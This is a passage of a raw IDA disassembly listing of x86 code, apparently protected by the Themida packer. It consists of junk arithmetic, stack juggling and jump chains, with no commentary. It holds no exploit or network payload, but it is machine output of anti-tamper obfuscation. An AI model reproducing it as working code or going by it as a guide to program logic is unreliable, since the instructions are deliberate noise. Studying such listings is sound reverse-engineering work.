ecx, [esp-4+arg_0] jmp loc_55BA6F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559977: ; CODE XREF: Themida_:00555B45j pop eax and eax, 3CEB4358h sub eax, 28C84256h mov edx, eax mov eax, [esp] add esp, 4 push edx jmp loc_554693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_559993: ; CODE XREF: sub_552634+97EAj mov ecx, [esp+0] add esp, 4 add edx, 6A9B0D29h add edx, eax sub edx, 6A9B0D29h pop eax sub edx, 4DA278CDh jmp loc_55AA7F ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5599B6: ; CODE XREF: sub_556A70-1FC3j add ecx, 2FF15FE6h sub ecx, 521D323Fh sub eax, ecx pop ecx mov esi, eax jmp loc_5555BF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_5599CC: ; CODE XREF: sub_55B730-5D93j add esp, 4 sub ebp, 2EB36B46h not ebp sub ebp, 384EA636h jmp loc_55A656 ; END OF FUNCTION CHUNK FOR sub_55B730 ; =============== S U B R O U T I N E ======================================= sub_5599E2 proc near ; CODE XREF: sub_556A70+5B74j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553214 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00555E6E SIZE 00000013 BYTES sub esp, 4 jmp loc_553214 sub_5599E2 endp ; --------------------------------------------------------------------------- loc_5599EA: ; CODE XREF: Themida_:00553AA9j or cl, 0CAh not cl shl cl, 3 shr cl, 7 xor cl, 0F1h jmp loc_55309E ; --------------------------------------------------------------------------- loc_5599FD: ; CODE XREF: Themida_:005587F0j or esi, edi jmp loc_55AECF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559A04: ; CODE XREF: sub_556A70+2BB4j pop ebx add al, 7Bh sub al, dl sub al, 7Bh pop edx mov ecx, [esp+0] add esp, 4 jmp sub_552B74 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_559A17: ; CODE XREF: sub_555B85+Cj neg ebx sub ebx, 8F6A5B71h jmp loc_55BB36 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559A24: ; CODE XREF: sub_556A70+270Fj xor ebx, edx pop edx push ebx jmp loc_55891F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push 5D43h mov [esp], edx jmp loc_551565 ; --------------------------------------------------------------------------- lodsw xor ax, bx push 2F68h mov [esp], esi mov si, 4ECBh push cx mov cx, 4402h jmp loc_55BCFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559A56: ; CODE XREF: sub_556A70-849j xchg edi, esi xchg eax, edi not eax xchg eax, edi xchg edi, esi jmp loc_55CCDF ; --------------------------------------------------------------------------- loc_559A63: ; CODE XREF: sub_556A70-544j push 0D9Ah mov [esp+10h+var_10], edi push [esp+10h+var_C] pop edi pop [esp+10h+var_10] jmp loc_553D94 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5521AC loc_559A78: ; CODE XREF: sub_5521AC+ADCBj add bl, dh sub bl, 9Fh pop edx add bl, 2Bh movzx eax, al pop small word ptr [edi+eax*4] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_5521AC ; --------------------------------------------------------------------------- loc_559A8D: ; CODE XREF: Themida_:00554461j pop ebx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_556116 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_559AA3: ; CODE XREF: sub_55AE6E-2950j mov edx, [esp-6+arg_2] add esp, 4 jmp sub_559F2D ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559AB1: ; CODE XREF: sub_556A70+3F67j push esi mov esi, 599710BAh push eax mov eax, 7DD5606Ah xor esi, eax pop eax jmp loc_553CBC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559AC5: ; CODE XREF: Themida_:00554D3Ej add al, 4Bh add al, 84h add al, cl sub al, 84h sub al, 4Bh sub esp, 4 mov [esp], edx mov dl, 8Ch jmp loc_5570A2 ; --------------------------------------------------------------------------- loc_559ADF: ; CODE XREF: Themida_:00552F78j shr ebp, 8 jmp loc_552412 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559AE7: ; CODE XREF: sub_556A70-83Dj add ebp, 7ABD3441h push ebx mov ebx, 0D0B91812h xor ebp, ebx pop ebx add ecx, ebp pop ebp jmp loc_5577BE ; --------------------------------------------------------------------------- loc_559AFE: ; CODE XREF: sub_556A70-3D6Ej mov [esp+4+var_4], eax push 2 pop eax jmp loc_557069 ; --------------------------------------------------------------------------- loc_559B0C: ; CODE XREF: sub_556A70+19B8j add ebp, 56634FBEh add ebp, eax sub ebp, 56634FBEh pop eax jmp loc_55C675 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559B20: ; CODE XREF: Themida_:00552ACCj add esp, 2 sub al, 6Fh jmp loc_55520A ; =============== S U B R O U T I N E ======================================= sub_559B2A proc near ; CODE XREF: sub_556A70-3D95j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00551E81 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005585C3 SIZE 0000000B BYTES push ebx mov ebx, 634F5DA7h push edx mov edx, 1EA8177Eh add edx, 44A74627h xor ebx, edx jmp loc_5585C3 sub_559B2A endp ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx push esp jmp loc_557BD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559B53: ; CODE XREF: sub_556A70+4BB6j shl edx, 3 neg edx shl edx, 6 sub edx, 25027C4Ah or ebp, edx pop edx push edx mov edx, 2B662567h neg edx or edx, 4D0C78F6h and edx, 136963BEh jmp loc_552B97 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559B7D: ; CODE XREF: Themida_:00554951j shr edi, 1 jmp loc_55712C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559B84: ; CODE XREF: sub_556A70+59EDj push esp pop [esp-1Ah+arg_14+2] jmp loc_55CEAA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559B8D: ; CODE XREF: Themida_:00552A24j mov edx, 6043637Eh add eax, 1E9B049Ah add eax, edx sub eax, 1E9B049Ah pop edx push 28Ch mov [esp], edi mov edi, 42A31329h dec edi jmp loc_558A5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559BB2: ; CODE XREF: sub_556A70-829j mov ecx, 43A76C5Dh inc ecx or ecx, 59B44875h xor ecx, 0B8AFA986h add edi, ecx pop ecx and eax, edi mov edi, [esp+0] add esp, 4 shr eax, 8 xor eax, ecx xor eax, ebp jmp loc_55A070 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_559BDE: ; CODE XREF: sub_553D17+5C19j sub bl, 0AEh shl bl, 2 jmp loc_55111F ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_559BE9: ; CODE XREF: sub_55A748-1402j pop eax push esi push esp pop esi add esi, 4 jmp loc_555C74 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559BF8: ; CODE XREF: sub_556A70+A51j sub edi, 6C2E8654h xor ebx, edi pop edi add ebx, 0CF7C632Fh xor eax, ebx mov ebx, [esp-2Eh+arg_28+2] jmp loc_55ACF5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559C11: ; CODE XREF: Themida_:00552B2Ej mov [esp], eax mov eax, esp push ebx mov ebx, 32562840h push ebx not dword ptr [esp] pop ebx push esi mov esi, 78BF0198h and esi, 7CC3113Ch jmp loc_55BD96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559C32: ; CODE XREF: sub_556A70+412Ej push 1 pop ebp jmp sub_554BBA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559C3D: ; CODE XREF: Themida_:00554061j inc edx jmp loc_5548C8 ; --------------------------------------------------------------------------- loc_559C43: ; CODE XREF: Themida_:00557D25j add esi, 4 add esi, 4 xchg esi, [esp] pop esp add al, 11h jmp loc_557A2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559C5A: ; CODE XREF: sub_556A70+47B1j pop eax xchg esi, [esp-32h+arg_2C+2] pop esp sub esp, 4 mov [esp-32h+arg_2C+2], esi mov esi, 7F481A35h sub ebx, 74627DE7h sub ebx, 1F7E2703h jmp loc_55A3E4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559C7B: ; CODE XREF: Themida_:00553435j add bl, al jmp loc_551310 ; --------------------------------------------------------------------------- loc_559C82: ; CODE XREF: Themida_:00558056j push edx mov edx, 740A3AC5h jmp loc_555529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_559C8D: ; CODE XREF: sub_552E24+9F1Bj and eax, ebx jmp loc_55524D ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- loc_559C94: ; CODE XREF: Themida_:00552E91j xor ecx, 0CAAFB0ACh xor edi, ecx jmp loc_558535 ; --------------------------------------------------------------------------- loc_559CA1: ; CODE XREF: Themida_:005569E2j add ebx, 1CFA3786h shr ebx, 5 add ebx, 0FE03E3DBh add ebp, ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55C770 ; =============== S U B R O U T I N E ======================================= sub_559CCC proc near ; CODE XREF: sub_556A70-5856j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00551FB6 SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 72C7434Fh push ebx push ebp push eax mov eax, 57E51A56h mov ebp, 0B965B24h jmp loc_551FB6 sub_559CCC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559CE9: ; CODE XREF: sub_556A70-18EBj shl edx, 8 xor edx, 6D05DA20h jmp loc_5543C1 ; --------------------------------------------------------------------------- loc_559CF7: ; CODE XREF: sub_556A70+1AC0j and bl, 77h inc bl shl bl, 1 not bl xchg dh, bl inc dh xchg dh, bl xor bl, 0AAh xor dl, bl jmp loc_55718B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF4AE loc_559D10: ; CODE XREF: sub_5AF4AE-5EA61j pop bx sub al, bl jmp sub_556A70 ; END OF FUNCTION CHUNK FOR sub_5AF4AE ; --------------------------------------------------------------------------- loc_559D19: ; CODE XREF: Themida_:0055CF6Cj add eax, ebx pop ebx sub esp, 4 mov [esp], edx push 73C3h jmp loc_557B2E ; --------------------------------------------------------------------------- loc_559D2F: ; CODE XREF: Themida_:0055A5C3j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_559D34: ; CODE XREF: Themida_:00555EF5j mov ebx, [esp] add esp, 4 push eax push dword ptr [esp+4] jmp loc_55B19B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_559D44: ; CODE XREF: sub_557F09-1B5Fj pop ebx add esp, 4 rep movsd jmp loc_55BFB9 ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- loc_559D52: ; CODE XREF: Themida_:0055BC67j pop ecx add edx, 63C02701h jmp loc_559ED7 ; =============== S U B R O U T I N E ======================================= sub_559D5E proc near ; CODE XREF: sub_556A70+3965j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055399E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055546E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055B27F SIZE 00000014 BYTES push ebx mov ebx, 4 push edx mov edx, 167313EEh sub edi, edx pop edx jmp loc_55B27F sub_559D5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559D72: ; CODE XREF: sub_556A70-3DE7j push eax push dword ptr [esp+4] jmp loc_5583C9 ; --------------------------------------------------------------------------- loc_559D7C: ; CODE XREF: sub_556A70-2737j mov [esp+8+var_8], edx mov edx, 1021A29h not edx dec edx jmp loc_551DD8 ; --------------------------------------------------------------------------- loc_559D8C: ; CODE XREF: sub_556A70-5A13j pop ebp xor esi, 7DB72222h shr esi, 7 sub esi, 178681h add edi, esi pop esi push edx mov edx, 4 sub edi, edx jmp loc_552F37 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559DAC: ; CODE XREF: Themida_:0055C50Aj push ecx mov ecx, esp jmp loc_55637F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_559DB4: ; CODE XREF: sub_550BFD+BB9j pop ebp sub edx, 1D7779C4h jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- loc_559DC0: ; CODE XREF: Themida_:00553D46j push 5604h mov [esp], ebx push esp jmp loc_55C50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B403 loc_559DCE: ; CODE XREF: sub_55B403-7CAj mov ch, ah push [esp-4+arg_0] pop eax add esp, 4 jmp loc_555B4A ; END OF FUNCTION CHUNK FOR sub_55B403 ; --------------------------------------------------------------------------- loc_559DDC: ; CODE XREF: Themida_:00554515j sub esp, 4 mov [esp], ebx push 4 pop ebx jmp loc_5521E8 ; --------------------------------------------------------------------------- loc_559DED: ; CODE XREF: Themida_:005541A7j push 2EF7h mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_55146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559E03: ; CODE XREF: sub_556A70+2427j add ecx, esi pop esi xor ecx, [esp+14h+var_14] jmp loc_55C661 ; --------------------------------------------------------------------------- loc_559E0E: ; CODE XREF: sub_556A70-3305j push eax push esp pop eax add eax, 4 sub eax, 4 xor eax, [esp-16h+arg_10+2] xor [esp-16h+arg_10+2], eax xor eax, [esp-16h+arg_10+2] mov esp, [esp-16h+arg_10+2] mov [esp-16h+arg_10+2], eax push [esp-16h+arg_14+2] pop eax jmp loc_554A27 ; --------------------------------------------------------------------------- loc_559E34: ; CODE XREF: sub_556A70+1203j mov edi, esp add edi, 4 jmp loc_55AB64 ; --------------------------------------------------------------------------- loc_559E41: ; CODE XREF: sub_556A70+F29j mov eax, esp add eax, 4 sub eax, 4 jmp loc_5549D3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559E50: ; CODE XREF: Themida_:00555276j xor bp, cx xor cx, bp xor bp, cx xor [esp], bp jmp loc_55C40F ; --------------------------------------------------------------------------- loc_559E62: ; CODE XREF: Themida_:005597EDj xor al, bl jmp loc_55525B ; --------------------------------------------------------------------------- loc_559E69: ; CODE XREF: Themida_:00551F3Aj add ecx, 4 push 4874h jmp loc_554BC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_559E79: ; CODE XREF: sub_552B74+CE8j mov dx, word ptr [esp+4+var_4] jmp loc_553729 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559E82: ; CODE XREF: sub_556A70+43E1j pop edx add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_553820 ; --------------------------------------------------------------------------- loc_559E95: ; CODE XREF: sub_556A70+10Bj sub ecx, 24B75F40h add edi, 5434123Fh sub edi, 79C9685Bh jmp loc_55C032 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559EAC: ; CODE XREF: Themida_:0055812Aj add al, bl push ebx mov bh, 79h jmp loc_558B19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559EB6: ; CODE XREF: sub_556A70-2494j push 4554h mov [esp+0], ecx mov ecx, 6A1A5C5Eh push 4F12h mov [esp+2+var_4+2], edi mov edi, 0 sub edi, ecx jmp loc_55C0FB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559ED7: ; CODE XREF: Themida_:00559D59j add edx, 0D5CB5952h sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], edx mov dh, 0ECh sub dh, 85h push cx mov ch, 0DEh sub dh, ch pop cx push ebx mov bh, dh mov ch, bh pop ebx pop edx add al, 6Bh sub al, ch sub al, 6Bh jmp loc_554E27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A9A4 loc_559F06: ; CODE XREF: sub_55A9A4-18Aj push ecx mov ecx, esp add ecx, 4 jmp loc_556DDF ; END OF FUNCTION CHUNK FOR sub_55A9A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559F14: ; CODE XREF: sub_556A70+2C8Aj pop esp jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_559F1A: ; CODE XREF: Themida_:00550D69j xor cl, 0A3h xor cl, 4 add dl, cl pop ecx add al, 0E0h sub al, dl push ecx jmp loc_5573F2 ; =============== S U B R O U T I N E ======================================= sub_559F2D proc near ; CODE XREF: sub_55AE6E-13C2j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005567C3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055B4B5 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055C59A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055C8FB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055CF4E SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov bl, 20h and bl, 7Bh add bl, 0FFh sub bl, 84h add al, 76h jmp loc_55C8FB sub_559F2D endp ; --------------------------------------------------------------------------- loc_559F45: ; CODE XREF: Themida_:005528ADj mov ebp, esp add ebp, 4 jmp loc_5549C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559F52: ; CODE XREF: sub_556A70+560j xor edx, 62D82F29h xor ecx, edx jmp loc_556DA6 ; --------------------------------------------------------------------------- loc_559F5F: ; CODE XREF: sub_556A70+9FCj xchg ebx, [esp-2Ah+arg_24+2] pop esp jmp loc_5511B5 ; --------------------------------------------------------------------------- loc_559F68: ; CODE XREF: sub_556A70-167Bj push eax mov eax, 4DC525C2h add dword ptr [esp+4], 44F53CC9h sub [esp+4], eax sub dword ptr [esp+4], 44F53CC9h jmp loc_55C7B0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_559F87 proc near ; CODE XREF: sub_556A70-4C01j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005519C9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00552267 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00553C1F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005557AE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00557E84 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00558692 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055896C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055CA0F SIZE 0000000B BYTES push ebx mov ebx, 18772EBBh and ebx, 34885158h jmp loc_55896C sub_559F87 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_559F98: ; CODE XREF: Themida_:00554FD1j mov ax, [esp] push ecx push esp mov ecx, [esp] push eax mov eax, esp push ebp mov ebp, 2FF43DB9h jmp loc_552115 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_559FAF: ; CODE XREF: sub_556A70+5C44j xor ebx, edx xor edx, ebx jmp loc_556223 ; --------------------------------------------------------------------------- loc_559FB8: ; CODE XREF: sub_556A70+3D46j push 4BD1h mov [esp+8+var_8], ebx mov ebx, 83857D9h or ebx, 33F45D4Eh neg ebx xor ebx, 0C403A025h sub edx, ebx pop ebx xchg edx, [esp+4+var_4] pop esp mov [esp+0], esi push ebx mov ebx, 459D531Bh add ebx, 0BA62AD25h jmp loc_5575C4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov eax, [esp] push esi push 5A7Ch mov [esp], esp add dword ptr [esp], 4 jmp loc_5579E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5557A0 loc_55A003: ; CODE XREF: sub_5557A0+6CFCj pop ecx jmp loc_5523D2 ; END OF FUNCTION CHUNK FOR sub_5557A0 ; --------------------------------------------------------------------------- loc_55A009: ; CODE XREF: Themida_:0055CF3Ej push dword ptr [esp+4] mov ebx, [esp] jmp loc_55B273 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A015: ; CODE XREF: sub_556A70+223Dj xor edi, [esp-12h+arg_C+2] xor [esp-12h+arg_C+2], edi xor edi, [esp-12h+arg_C+2] jmp loc_555C4A ; --------------------------------------------------------------------------- loc_55A023: ; CODE XREF: sub_556A70+F7Bj add ebp, 4 push ecx jmp sub_55265B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_55A02F: ; CODE XREF: sub_553651+1j sub [esp+4+var_4], 1D6E757Eh mov eax, [esp+4+var_4] push ecx jmp loc_5585CE ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A03F: ; CODE XREF: sub_556A70-1C57j add edx, esi pop esi push esi jmp loc_558B06 ; --------------------------------------------------------------------------- loc_55A048: ; CODE XREF: sub_556A70+29Cj push [esp-8+arg_4] mov eax, [esp-4+arg_0] push esi mov esi, esp push ebx mov ebx, 0DF5C58h add ebx, 0FF20A3ACh jmp loc_55B658 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A070: ; CODE XREF: sub_556A70+3169j xor ebp, eax xor eax, ebp push 2D0h mov [esp+0], ebp push 5250h mov [esp+4+var_4], ebx push dword ptr [esp+4] push [esp+8+var_8] pop ebx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp pop [esp+8+var_8] not ebx xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx pop ebp xor eax, ebp xor ebp, eax jmp loc_55CE46 ; --------------------------------------------------------------------------- loc_55A0B4: ; CODE XREF: sub_556A70-36C1j sub ebp, esi pop esi sub ebx, ebp pop ebp sub esp, 4 mov [esp-18h+arg_14], eax jmp loc_55890A ; --------------------------------------------------------------------------- loc_55A0C8: ; CODE XREF: sub_556A70+4B42j pop ebx shr ebx, 8 shl ebx, 5 jmp loc_554334 ; --------------------------------------------------------------------------- loc_55A0D4: ; CODE XREF: sub_556A70+4C75j mov esi, [esp-1Ch+arg_18] add esp, 4 add esp, 4 shr eax, 18h xor eax, ecx push edx push esp mov edx, [esp-1Ch+arg_18] jmp loc_55679E ; --------------------------------------------------------------------------- loc_55A0EC: ; CODE XREF: sub_556A70-57EDj push esi mov esi, 2 add edx, esi pop esi xchg edx, [esp-16h+arg_10+2] pop esp jmp loc_557CA2 ; --------------------------------------------------------------------------- loc_55A0FE: ; CODE XREF: sub_556A70+41B7j mov [esp-1Ah+arg_14+2], edx jmp loc_55A3DA ; --------------------------------------------------------------------------- loc_55A106: ; CODE XREF: sub_556A70+535j mov edi, 1C630037h dec edi not edi jmp loc_550FF3 ; --------------------------------------------------------------------------- loc_55A113: ; CODE XREF: sub_556A70+6054j push edi jmp loc_554F0B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55A119: ; CODE XREF: sub_5584F8-78D2j mov eax, 5DA8336Dh push esi mov esi, 47550417h sub eax, esi jmp loc_55B11A ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A12B: ; CODE XREF: sub_556A70+60ACj mov ecx, 3A2436E6h xor ecx, ebp pop ebp xor ecx, 78595942h sub eax, 4F227992h add eax, ecx sub esp, 4 jmp loc_5542C4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A14B: ; CODE XREF: Themida_:0055BF1Ej push 1AEAh mov [esp], esi jmp loc_558353 ; --------------------------------------------------------------------------- loc_55A158: ; CODE XREF: Themida_:00556586j add [esp+4], eax pop eax push dword ptr [esp] pop ecx push edi push esp pop edi add edi, 4 push ecx jmp loc_5572EE ; --------------------------------------------------------------------------- loc_55A170: ; CODE XREF: Themida_:005598C5j pop edi shr ebp, 5 xor ebp, 62A1D13h mov edi, ebp pop ebp add edx, edi mov edi, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 45EF3C69h sub ecx, 45EF3C65h add edi, ecx pop ecx xchg edi, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] jmp loc_558247 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A1B1: ; CODE XREF: sub_556A70+22C3j xor eax, ecx xor eax, ebx xor ebx, eax jmp loc_55C6B2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A1BC: ; CODE XREF: Themida_:00556684j xor ebp, 2E0D697Fh xor ebp, 373A7B0Ah neg ebp sub ebp, 84529A0Ch jmp loc_55B900 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A1D5: ; CODE XREF: sub_556A70+3A58j mov eax, edi jmp loc_557D4A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp jmp loc_550EDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A1E8: ; CODE XREF: sub_556A70-59FBj mov bl, ch push [esp+8+var_8] jmp loc_55828D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550E2C loc_55A1F2: ; CODE XREF: sub_550E2C+207Cj push edi mov edi, 49790FDCh sub edx, edi pop edi add eax, edx pop edx push edi jmp loc_5563BC ; END OF FUNCTION CHUNK FOR sub_550E2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55A204: ; CODE XREF: sub_5516F8+4AE5j pop eax jmp loc_55C7FE ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- loc_55A20A: ; CODE XREF: Themida_:0055158Ej add esp, 4 jmp loc_55A8F2 ; --------------------------------------------------------------------------- mov ax, [esp] push 3A74h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_550A8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A22B: ; CODE XREF: sub_556A70+1084j mov [esp+0Ch+var_C], eax mov eax, esp add eax, 4 sub esp, 4 jmp loc_558958 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A240: ; CODE XREF: Themida_:005589D5j pop edx shr edx, 8 or edx, 0B586AAFh add edx, 5DEADF75h mov edi, edx mov edx, [esp] add esp, 4 inc edi dec edi push esi mov esi, 723B14B0h and esi, 69FA7981h shl esi, 4 add esi, 2CB04954h jmp loc_5525CA ; --------------------------------------------------------------------------- loc_55A277: ; CODE XREF: Themida_:00555A6Ej add esi, edx jmp loc_55C74F ; --------------------------------------------------------------------------- loc_55A27E: ; CODE XREF: Themida_:00550C5Aj add esp, 4 jmp loc_5512A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A289: ; CODE XREF: sub_556A70+FB7j mov ecx, 6BB01257h dec ecx neg ecx sub ecx, 0D59304CFh sub ebx, ecx jmp loc_553A07 ; --------------------------------------------------------------------------- loc_55A29E: ; CODE XREF: sub_556A70-2450j mov edi, [esp+0Ch+var_C] add esp, 4 dec ecx or ecx, 2B9D06CDh add ecx, 38F65988h push ebx mov ebx, 0AB0BDE07h xor ecx, ebx jmp loc_558AF2 ; --------------------------------------------------------------------------- loc_55A2C1: ; CODE XREF: sub_556A70+2575j pop eax mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp 